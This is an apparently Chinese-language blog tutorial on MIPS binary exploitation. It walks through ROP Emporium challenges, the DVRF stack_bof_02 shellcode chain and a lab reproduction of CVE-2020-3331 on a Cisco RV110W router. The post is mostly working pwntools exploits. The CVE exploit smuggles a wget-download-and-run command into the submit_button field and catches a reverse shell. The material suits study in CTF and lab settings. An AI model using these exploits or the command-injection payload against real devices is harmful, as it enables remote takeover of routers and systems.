附件下载链接
环境搭建
在 ARM PWN 环境搭建 的基础上，首先安装具备MIPS交叉编译gcc与MIPS程序动态链接库：
sudo apt-get install gcc-mips-linux-gnu
sudo apt-get install gcc-mipsel-linux-gnu
sudo apt-get install gcc-mips64-linux-gnuabi64
sudo apt-get install gcc-mips64el-linux-gnuabi64
然后就可以正常运行
将 mipsel 添加到 qqemu-binfmt，这样 linux 可以根据文件头找相应的程序运行：
sudo ln -s /usr/mipsel-linux-gnu/ /etc/qemu-binfmt/mipsel
ret2win
栈溢出
int pwnme()
{
char buf[32]; // [sp+18h] [+18h] BYREF
memset(buf, 0, sizeof(buf));
puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
puts("What could possibly go wrong?");
puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
printf("> ");
read(0, buf, 0x38u); // bof
return puts("Thank you!");
}
分析汇编可知，返回值存储在 $sp + 0x3C 处，而 buf 起始位置在 $sp + 0x18 处，因此偏移为 0x24 。
因此不难写出 exp：
from pwn import *
context(arch='mips', os='linux')
context.log_level = 'debug'
# p = remote()
p = process(["qemu-mipsel", "./ret2win_mipsel"])
# p = process(["qemu-mipsel", "-g", "1234", "./ret2win_mipsel"])
elf = ELF("./ret2win_mipsel")
ret2win = 0x00400A00
if __name__ == '__main__':
payload = "a" * 0x24 + p32(ret2win)
p.sendafter(">", payload)
p.interactive()
运行 exp，并用 gdb 附加调试，发现返回值被成功覆盖：
与 x86 和 arm 不同的是，mips 在函数返回时会先将之前保存到栈上的返回地址重新读取到 $ra 寄存器中，然后再通过 $jr ra 语句将返回值从 $ra 寄存器赋值到 $pc 寄存器中，因此跳转到 ret2win 后会出现 $pc 寄存器和 $ra 寄存器的值相等的情况，也就是会说之后重复执行 ret2win 函数。
继续运行，成功执行 ret2win 函数获得 flag 。
split
同样是栈溢出
int pwnme()
{
char buffer[32]; // [sp+18h] [+18h] BYREF
memset(buffer, 0, sizeof(buffer));
puts("Contriving a reason to ask user for data...");
printf("> ");
read(0, buffer, 0x60u); // bof
return puts("Thank you!");
}
存在可利用的字符串并且 system 函数在 plt 表里。
.data:00411010 usefulString: .ascii "/bin/cat flag.txt"<0>
现在需要一个可以从栈中读取地址到 r0 的 gadget 。使用 ROPgadget 搜索可用的 gadget ：
ROPgadget --binary "./split_mipsel" | grep -E ": lw .*a0, .*sp"
找到一个合适的 gadget ：
0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
最终 exp 如下：
from pwn import *
context(arch='mips', os='linux')
context.log_level = 'debug'
# p = remote()
p = process(["qemu-mipsel", "./split_mipsel"])
# p = process(["qemu-mipsel", "-g", "1234", "./split_mipsel"])
elf = ELF("./split_mipsel")
lw_a0_sp = 0x00400A20 # 0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
system_plt = elf.plt['system']
cat_flag = 0x00411010 # .data:00411010 usefulString: .ascii "/bin/cat flag.txt"<0>
if __name__ == '__main__':
payload = 'a' * 36
payload += p32(lw_a0_sp)
payload += 'bbbb'
payload += p32(system_plt)
payload += p32(cat_flag)
p.sendafter(">", payload)
p.interactive()
callme
根据之前 ARM PWN 的分析，需要通过栈溢出构造 rop 分别调用 3 个 callme 函数完成对 flag 的打印和输出。
通过 ROPgadget 搜索到一个合适的 gedget 。
0x00400bb0 : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop ; lw $ra, 0x14($sp) ; jr $ra ;
这个 gadget 首先分别对 $a0，$a1，$a2 以及 $t9 寄存器赋值，然后调用 $t9 寄存器指向的函数，最后再修改 $ra 寄存器并跳转到 $ra 寄存器指向的地址。因此可以设置 $a0，$a1，$a2 为函数的三个参数，然后设置 $t9 寄存器为函数对应的 plt 表地址，最后设置 $ra 寄存器为 gadget 地址从而进行下一次函数调用。
exp 如下：
from pwn import *
context(arch='mips', os='linux')
context.log_level = 'debug'
# p = remote()
p = process(["qemu-mipsel", "-g", "1234", "./callme_mipsel"])
# p = process(["qemu-mipsel", "./callme_mipsel"])
elf = ELF("./callme_mipsel")
lw_a0_a1_a2_t9_jalr_t9_lw_ra_jr_ra = 0x00400BB0 # 0x00400bb0 : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop ; lw $ra, 0x14($sp) ; jr $ra ; addi $sp, $sp, 0x18
def callme(addr, arg1, arg2, arg3):
payload = ""
payload += p32(0)
payload += p32(addr)
payload += p32(arg3)
payload += p32(arg2)
payload += p32(arg1)
payload += p32(lw_a0_a1_a2_t9_jalr_t9_lw_ra_jr_ra)
return payload
if __name__ == '__main__':
payload = ""
payload += "a" * 36
payload += p32(lw_a0_a1_a2_t9_jalr_t9_lw_ra_jr_ra)
payload += callme(elf.plt["callme_one"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
payload += callme(elf.plt["callme_two"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
payload += callme(elf.plt["callme_three"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
p.sendafter(b">", payload)
p.interactive()
跳转的 plt 表并返回这里可能会存在一些疑惑。按常理再说，plt 应该对调用者透明，也就是说调用 plt 表应该像直接调用函数一样，但是以 callme_one 函数为例，plt 表部分的汇编代码如下（这里 plt 的起始位置有点奇怪，这是因为 ida 是按照符号表指向的位置识别的）：
.MIPS.stubs:00400D1C li $t8, 0x19
.MIPS.stubs:00400D1C # End of function _callme_three
.MIPS.stubs:00400D1C
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20 # =============== S U B R O U T I N E =======================================
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20 # int callme_one()
.MIPS.stubs:00400D20 _callme_one: # DATA XREF: LOAD:0040056C↑o
.MIPS.stubs:00400D20 lw $t9, _GLOBAL_OFFSET_TABLE_
.MIPS.stubs:00400D24 move $t7, $ra
.MIPS.stubs:00400D28 jalr $t9
gadget 中跳转的方式是 jalr $t9 ，是一个正常的函数调用，返回值会保存到 $ra 中，进入到函数后如果函数还会调用其他函数首先要做的是将 $ra 寄存器保存到栈中。但是 callme_one 的 plt 表中没有将 $ra 寄存器保存到栈中，而是将 $ra 赋值给临时寄存器 $t7 并 jalr $t9 覆盖了 $ra 寄存器的值，那么调用完 callme_one 之后岂不是会返回到下一条指令然后沿着 plt 表继续往下执行？
实际上， 这里 plt 表中 _GLOBAL_OFFSET_TABLE_ 并不是 callme_one 的 got 地址，而是 got 表的起始地址。got 表的起始位置会存放一个函数的地址，如果要调用的函数在 got 表中没有修复地址，那么这个函数会修复该地址，最后会调用对应函数。在此期间会将 $ra 寄存器的值 修改为调用 plt 表的下一条指令使得程序可以正常返回。
write4
根据之前 ARM PWN 的分析，需要通过写内存的 gadget 写入文件名然后调用 print_file 函数打印参数。
写内存可以用 0x00400930 处的 gadget 。
0x00400930 : lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ;
调用 print_file 函数可以用 0x00400948 处的gadget 。
0x00400948 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
最终 exp 如下：
from pwn import *
context(arch='mips', os='linux')
context.log_level = 'debug'
# p = remote()
# p = process(["qemu-mipsel", "-g", "1234", "./write4_mipsel"])
p = process(["qemu-mipsel", "./write4_mipsel"])
elf = ELF("./write4_mipsel")
# 0x00400930 : lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ;
lw_t9_t0_t1_sw_t1_t0_jali_t9 = 0x00400930
# 0x00400948 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
lw_a0_t9_jali_t9 = 0x00400948
file_name_addr = 0x00411068
print_file = elf.plt['print_file']
def write4(addr, data):
payload = ""
payload += p32(lw_t9_t0_t1_sw_t1_t0_jali_t9)
payload += "aaaa"
payload += data[:4].ljust(4, '\x00')
payload += p32(addr)
return payload
if __name__ == '__main__':
payload = 'a' * 0x24
payload += write4(file_name_addr, "flag")
payload += write4(file_name_addr + 4, ".txt")
payload += write4(file_name_addr + 8, '\x00')
payload += p32(lw_a0_t9_jali_t9)
payload += 'aaaa'
payload += p32(print_file)
payload += p32(file_name_addr)
p.sendafter(">", payload)
p.interactive()
CVE-2020-3331
环境搭建
github的 IoT-vulhub 项目提供了这个漏洞的环境。虽然项目有详细的 README 可供参考，但是还是有一些细节没有提及，并且还会出现一些玄学问题。因此如果环境没有搭好，要认真阅读报错信息寻找出错的地方，实在分析不出问题就恢复快照重新搭一遍。
构建所需镜像
漏洞环境的搭建需要依赖一些镜像，其中有些 README 默认使用者已经构建好了，因此没有说明，建议以以下的描述为准。由于镜像之间有依赖关系，因此最好按照按照顺序构建。
- ubuntu16.04
整个项目都要依赖的镜像# 构建 ubuntu1604 基础镜像 $ cd baseImage/ubuntu1604 && docker build -t firmianay/ubuntu1604 . - binwalk
作为解压固件的工具包# 构建 binwalk 容器，方便使用 $ cd baseImage/binwalk && docker build -t firmianay/binwalk . - qemu-system
调试漏洞所需的镜像，因为固件是 mipsel 架构的，因此选择 mipsel 。注意要要先运行下载脚本下载内核镜像之类的文件。$ cd baseImage/qemu-system/mipsel $ ./images/download.sh $ docker build -t firmianay/qemu-system:mipsel .
解压固件
在 CVE-2020-3331 目录下运行如下命令：
$ docker run --rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer "/root/firmware/RV110W_FW_1.2.2.5.bin"
正常情况下解压出的 squashfs-root 下是有文件的。
如果没有文件就重新构建 binwalk 镜像然后重新解压，重新构建前要把之前的镜像删除。
构建并启动漏洞分析镜像
依次运行如下 3 条命令：
# 初始化环境
$ ./init_env.sh mipsel
# 构建镜像
$ docker-compose -f docker-compose-system.yml build
# 启动容器
$ docker-compose -f docker-compose-system.yml up
如果正常的话最后是这样的：
首次攻击尝试
进入到构建好的镜像中运行 exp 脚本，可以成功获取 shell 。
调试
由于镜像的中的 python 版本有问题导致 gef 插件跑不起来，因此这里采用本机调试。
在构建并启动漏洞分析镜像后，进入镜像的 shell 然后关闭并手动重启固件主机，从而进入固件主机的 shell
$ docker exec -it cisco-system /bin/bash
root@7463bb44fe27:$ cd images
root@7463bb44fe27:$ ps -ef | grep qemu-system | awk '{print $2}' | xargs kill -9
root@7463bb44fe27:$ qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
进入固件主机后运行 run_httpd.sh 启动脚本然后运行 gdbserver 附加到固件对应进程并监听 6666 端口。
root@debian-mipsel:$ cd squashfs-root/
root@debian-mipsel:$ ./tools/run_httpd.sh
root@debian-mipsel:$ ps -ef | grep httpd | grep -v 'grep' | awk '{print $2}' | xargs ./tools/gdbserver :6666 --attach
Attached; pid = 2328
Listening on port 6666
再开一个控制台窗口进入 docker 镜像然后开启固件主机 6666 端口到docker进行 6666 端口的端口转发。
$ docker exec -it cisco-system /bin/bash
$ ssh root@127.0.0.1 -f -N -g -R 0.0.0.0:6666:192.168.2.2:6666
由于 docker-compose 配置了本机 6666 端口到镜像 6666 端口的端口映射，因此可以用 gdb 连本地的 6666 端口调试固件主机中的固件。
ports:
- "8888:80"
- "6666:6666"
注意，开启断后转发时中间有个询问是否继续连接的步骤，这里回车默认不是 yes，一定要手动把 yes 输进去。否则会有个报错然后就被网上的关于这个报错解决方法带偏了
之后 gdb attach 上本地的 6666 端口就可以进行调试了，这里建议 gdb 插件不要用 pwndbg。
在关键位置下好断点，然后再开一个窗口进入 docker 的 shell 运行 exp，成功在关键位置断下来：
漏洞分析
漏洞位于 guest_logout_cgi 函数。sscanf 可以造成栈溢出。
guest_logout_cgi 函数与漏洞触发有关的关键代码如下：
int __fastcall guest_logout_cgi(int a1)
{
...
v5 = (const char *)get_cgi((int)"cmac");
...
v10 = (const char *)get_cgi((int)"cip");
v11 = (const char *)get_cgi((int)"submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
...
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) ) // cmac 字段必须是合法的 MAC 地址，并且 cip 字段必须是合法的 IP 地址。
{
v17 = strstr(v11, "status_guestnet.asp");
if ( !v17 ) // submit_button 字段必须包含 "status_guestnet.asp"
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v36, v35); // v36 溢出
...
v24 = (const char *)nvram_get("session_key", v21, v22); // 没有 session_key 字段会进入下面的判断中。
if ( !v24 || (v25 = 1, strcmp(v24, v35)) )
{
LABEL_31:
v26 = (const char *)nvram_get("http_client_mac", v18, v19); // 没有 http_client_mac 和 http_client_ip 字段，不会进入下面的判断中。
if ( v26 && strcmp(v26, v5) || (v31 = (const char *)nvram_get("http_client_ip", v27, v28)) != 0 && strcmp(v31, v10) )
{
...
goto LABEL_35;
}
...
}
...
LABEL_35:
if ( strcmp(v11, "login_guest.asp") ) // v11 与 login_guest.asp 不相同，因此会退出，由于此时返回值被覆盖成 system 函数地址且 $a0 为 v11 即 submit_button 字段从第一个 status_guestnet.asp 开始的字符串，因此会执行 submit_button 中包含的命令。
return 0;
}
...
}
return 0;
}
sscanf 中的格式化字符串为 %[^;];%*[^=]=%[^\n] ，其中 %[^;] 含义为匹配不包含 ; 的字符串，%*[^=] 表示匹配不带 = 且匹配到的只出场不传给参数，%[^\n] 表示匹配不带 \n 的字符串。最终匹配到的字符串按顺序传给给定的参数。因此只需要构造一个以 status_guestnet.asp 开头，后面包含没有 ; 的要执行的命令以及填充字节最后加一个 system 函数地址就可以执行命令了。
通过 IDA 分析汇编可知溢出长度为 0x68
至于执行的命令，可以是从 wget 获取本地的 msf 工具然后运行改工具反弹 shell 。
完整 exp 如下：
#!/usr/bin/python3
from pwn import *
import requests
from threading import Thread
context(arch='mips', endian='little', os='linux')
system = 0x0047A610
cmd = '\n'
cmd += 'wget http://192.168.2.1:8000/tools/msf -O /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf\n'
assert(len(cmd) < 0x55)
payload = b"status_guestnet.asp" + cmd.ljust(0x55,'a').encode() + p32(system)
data = {"cmac":"12:af:aa:bb:cc:dd", "submit_button":payload, "cip":"192.168.100.1"}
def attack():
try:
requests.post("http://192.168.2.2/guest_logout.cgi", data=data, timeout=1)
except Exception as e:
print(e)
thread = Thread(target=attack)
thread.start()
io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()
thread.join()
运行 exp，可以看到函数返回地址被覆盖了 system 函数地址
继续运行到函数返回，此时 $a0 寄存器指向 v11 字符串，可以执行其中的命令。
DVRF stack_bof_02
题目源码如下：
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
//Simple BoF by b1ack0wl for E1550
//Shellcode is Required
int main(int argc, char **argv[]){
char buf[500] ="\0";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r\n");
exit(1);
}
printf("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)\r\n\r\n");
strcpy(buf, argv[1]);
printf("You entered %s \r\n", buf);
printf("Try Again\r\n");
return 0;
}
// mipsel-linux-gnu-gcc -fno-stack-protector stack_bof_02.c -o stack_bof_02
显然 main 函数中 strcpy 存在栈溢出。由于没有后门函数并且没有开 NX 保护，因此可以考虑 ret2shellcode 的做法。
这里要注意由于 mips 是流水指令集，存在 cache incoherency 的特性，需要在跳转到 shellcode 前调用 sleep 或者其他函数将数据区刷新到当前指令区中去，才能正常执行 shellcode 。
在查找 gadget 的时候发现，stack_bof_02 文件可用的 gadget 很少，由于 qemu 中每次运行 libc 加载的基址相同，因此可以考虑使用 libc 中的 gadget 。在我的环境中需要分析的是 libc-2.30.so 。
$ ls -al /usr/mipsel-linux-gnu/lib | grep "libc.so"
-rw-r--r-- 1 root root 301 9月 24 2019 libc.so
lrwxrwxrwx 1 root root 12 9月 24 2019 libc.so.6 -> libc-2.30.so
又因为 ROPgadget 找不到合适的 gadget ，因此这里使用 IDA 插件 MIPS ROP Finder 搜索 gadget 。
插件在附件中提供。我使用的 IDA 版本是 7.7 ，安装方式是将压缩包解压，然后将里面的文件放到 plugins 文件夹下，注意我放的是解压出的 shims 和 mipsrop.py 这两个项。之后重启 IDA 然后点击 Search -> mips rop gadgets 等待插件初始化完成就可以正常使用了。
由于要调用 sleep 函数，因此首先要设置参数寄存器 $a0 的值：
Python>mipsrop.find("li $a0, 1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000B9350 | li $a0,1 | jalr $s2 |
| 0x000E2660 | li $a0,1 | jalr $s2 |
| 0x00109918 | li $a0,1 | jalr $s1 |
| 0x0010E604 | li $a0,1 | jalr $s2 |
| 0x0012D650 | li $a0,1 | jalr $s0 |
| 0x0012D658 | li $a0,1 | jalr $s2 |
| 0x00034C5C | li $a0,1 | jr 0x18+var_s4($sp) |
| 0x00080100 | li $a0,1 | jr 0x18+var_s4($sp) |
| 0x00088E80 | li $a0,1 | jr 0x1C+var_s0($sp) |
| 0x00091134 | li $a0,1 | jr 0x70+var_s24($sp) |
| 0x00091BB0 | li $a0,1 | jr 0x70+var_s24($sp) |
| 0x000D5460 | li $a0,1 | jr 0x1C+var_s10($sp) |
| 0x000F2A80 | li $a0,1 | jr 0x1C+var_s0($sp) |
| 0x001251C0 | li $a0,1 | jr 0x18+var_s14($sp) |
----------------------------------------------------------------------------------------------------------------
Found 14 matching gadgets
这里选择 0x000E2660 地址处的 gadget ：
.text:000E2660 25 C8 40 02 move $t9, $s2
.text:000E2664 09 F8 20 03 jalr $t9 ; sigprocmask
.text:000E2668 01 00 04 24 li $a0, 1
由于这个 gadget 的跳转需要 $s2 控制，因此需要一个设置 $s2 的 gadget ，这里找的是 0x00E2660 处的 gadget 。这条 gadget 不可可以控制 $s2 的值，还能控制其他的 $s 寄存器的值，也就是说后面的 gadget 的 $s 寄存器的值都可以控制。
.text:000B2EE8 34 00 BF 8F lw $ra, 0x34($sp)
.text:000B2EE8
.text:000B2EEC
.text:000B2EEC loc_B2EEC: # CODE XREF: readdir64+194↓j
.text:000B2EEC 25 10 00 02 move $v0, $s0
.text:000B2EF0 30 00 B6 8F lw $s6, 0x18+var_s18($sp)
.text:000B2EF4 2C 00 B5 8F lw $s5, 0x18+var_s14($sp)
.text:000B2EF8 28 00 B4 8F lw $s4, 0x18+var_s10($sp)
.text:000B2EFC 24 00 B3 8F lw $s3, 0x18+var_sC($sp)
.text:000B2F00 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
.text:000B2F04 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
.text:000B2F08 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
.text:000B2F0C 08 00 E0 03 jr $ra
.text:000B2F10 38 00 BD 27 addiu $sp, 0x38
因为如果在执行完 0x000E2660 处的 gadget 后直接跳转到 sleep 函数那么会返回到这个 gadget 跳转地址后的指令继续执行这样就无法控制之后的程序执行流程。为了防止这种情况发生，我们需要在这条 gadget 和 sleep 函数之间加一条 jlar $ra 之后还能控制跳转的指令。考虑到前面已经把 $s 寄存器控制了，因此可以查找 mov $t9, $s3 指令。这里选择 0x000949EC 地址处的gadget 。
.text:000949EC 25 C8 60 02 move $t9, $s3
.text:000949F0 09 F8 20 03 jalr $t9 ; uselocale
.text:000949F4 25 80 40 00 move $s0, $v0
.text:000949F4
.text:000949F8
.text:000949F8 loc_949F8: # CODE XREF: strerror_l+15C↓j
.text:000949F8 34 00 BF 8F lw $ra, 0x24+var_s10($sp)
.text:000949FC 25 10 00 02 move $v0, $s0
.text:00094A00 30 00 B3 8F lw $s3, 0x24+var_sC($sp)
.text:00094A04 2C 00 B2 8F lw $s2, 0x24+var_s8($sp)
.text:00094A08 28 00 B1 8F lw $s1, 0x24+var_s4($sp)
.text:00094A0C 24 00 B0 8F lw $s0, 0x24+var_s0($sp)
.text:00094A10 08 00 E0 03 jr $ra
.text:00094A14 38 00 BD 27 addiu $sp, 0x38
之后的操作就是如何跳转到 shellcode上执行。虽然在 qemu 中栈地址不变，但这里提供一个泄露栈地址的方法。
mipsrop.stackfinder() 可以搜索到泄露栈地址的 gadget，这里选择 0x00095B74 地址处的 gadget ：
.text:00095B74 34 00 A5 27 addiu $a1, $sp, 0x34 # '4'
.text:00095B78 18 00 A0 AF sw $zero, 0x5C+var_44($sp)
.text:00095B7C 14 00 A2 AF sw $v0, 0x5C+var_48($sp)
.text:00095B80 25 38 40 02 move $a3, $s2
.text:00095B84 25 C8 A0 02 move $t9, $s5
.text:00095B88 09 F8 20 03 jalr $t9
由于栈地址已经泄露到 $a1 寄存器中，因此可以搜索 mov $t9, $a1 查找可以用 $a1 寄存器控制跳转地址的 gadget ，这里选择的是 0x0012568C 处的地址。
.text:0012568C 25 C8 A0 00 move $t9, $a1
.text:00125690 25 38 40 00 move $a3, $v0
.text:00125694 25 28 80 00 move $a1, $a0
.text:00125698 09 F8 20 03 jalr $t9
最终可构造出的 rop 如下：
exp 如下：
from pwn import *
context(arch='mips', os='linux')
# context.log_level = 'debug'
libc_base = 0x7F619000
if __name__ == '__main__':
payload = "a" * 508
payload += p32(libc_base + 0x000B2EE8)
payload += "a" * 0x20
payload += p32(libc_base + 0x000949EC)
payload += p32(libc_base + 0x000B8FC0)
payload += "aaaa"
payload += p32(libc_base + 0x0012568C)
payload += "aaaa"
payload += p32(libc_base + 0x000E2660)
payload += "a" * 0x34
payload += p32(libc_base + 0x00095B74)
payload += "a" * 0x34
payload += asm(shellcraft.sh())
# p = process(['qemu-mipsel-static', '-g', '1234','./stack_bof_02', payload])
p = process(['qemu-mipsel-static', './stack_bof_02', payload])
p.interactive()
![[Python图像处理] 使用 HSV 色彩空间检测病毒对象](https://img-blog.csdnimg.cn/20de7ba1222b4dba9c6847f3b0436822.png#pic_center)
